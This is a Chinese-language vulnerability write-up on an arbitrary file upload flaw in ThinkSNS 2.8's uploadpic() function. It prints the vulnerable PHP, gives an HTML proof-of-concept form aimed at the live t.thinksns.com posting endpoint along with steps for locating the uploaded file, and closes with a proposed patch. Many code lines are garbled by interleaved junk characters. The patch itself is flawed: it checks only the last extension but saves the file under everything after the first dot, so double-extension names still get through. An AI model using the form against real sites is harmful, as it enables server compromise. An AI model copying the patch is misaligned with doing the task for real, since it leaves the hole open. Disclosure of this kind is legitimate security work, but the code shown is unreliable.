ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。


\api\StatusesApi.class.php
2 q$ q8 E( u9 u8 o
/ ?+ H8 [6 y& l$ Xfunction uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
/ [2 \) d* h  n! C' k! [     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
! n: s, N* L9 P1 Y( A0 j4 S    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
$ s" E& k, q& I& d( O% `        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
: p" ~' O* W8 @  a       } else {
        $result['boolen']    = 0;
+ F6 |( C; F# @# W& S        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
7 `7 `4 E, s3 a' V         $result['message']   = '上传失败';
     }
return $result;
# R: y1 F! I6 t+ S. {    }
unloadpic()方法没有对文件类型进行验证
8 w6 ^" c2 |3 Z* X& v
4 u$ C8 [+ v  |9 Q6 X+ n可以构建表单, 选择任意文件, 提交到
% \8 t! F4 o( [/index.php?app=w3g&mod=Index&act=doPost
) G  |) d" Q9 |
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

- D; e6 ?4 A+ q) A7 C8 J% e
: q/ `0 p" h0 N5 O$ G( V& ]在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
) n1 }3 r8 O. D$ E8 U5 E<textarea name="content">test</textarea>
  D8 |+ n  l6 U2 j3 r, A$ z( mfile: <input id="file" type="file" name="pic" />
1 t9 A+ \1 {$ ?; u: x<input type="submit" value="Post" />
$ r1 Z, n3 f4 w+ D</form>
去掉缩略图的前缀(small_ )
7 d- U/ ]4 i$ H, l2 ^  ~' b0 C​修复方案：


\api\StatusesApi.class.php

+ X6 @6 _& C" |2 ?! {4 @+ W, R9 Lfunction uploadpic(){
     /**
4 z! ^3 {& E- C: d' a1 s- D( H4 a      * 20121018 @yelo
1 z' Z) R4 v5 v      * 增加上传类型验证
, d& V+ m" g: t1 l+ C3 X      */
! k* a2 u1 b% n0 o! Q" S: `3 U& T( w     $pathinfo = pathinfo($_FILES['pic']['name']);
! Y/ Y9 q7 L; M( Q     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
& `$ Z$ B! y. g6 u2 H8 o
% b% P2 ^; U' P  J     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
8 Q7 v4 D& b# R, y; u2 _7 s
     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
3 X! T5 A9 f# T8 h$ _/ p     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
1 ]1 o& C) J/ V/ o! ?& I' g$ D; p    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
+ M8 z; p# `8 c/ L3 k' h( y! E        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
2 f  i2 E! ~5 i% @  b9 L$ d* `       } else {
        $result['boolen']    = 0;
( g8 P) g- ?; Y; }0 v2 I( O/ s        $result['message']   = '上传失败';
5 f; \" e: c2 ~       }
/ [1 Y! A( s4 k5 x) L1 Q/ p     }else{
         $result['boolen']    = 0;
  |7 N! Z6 y9 d* v         $result['message']   = '上传失败';
     }
return $result;
    }
8 |4 G/ E& n+ z( y3 f​

6 W" O9 g3 w9 H- j2 w# e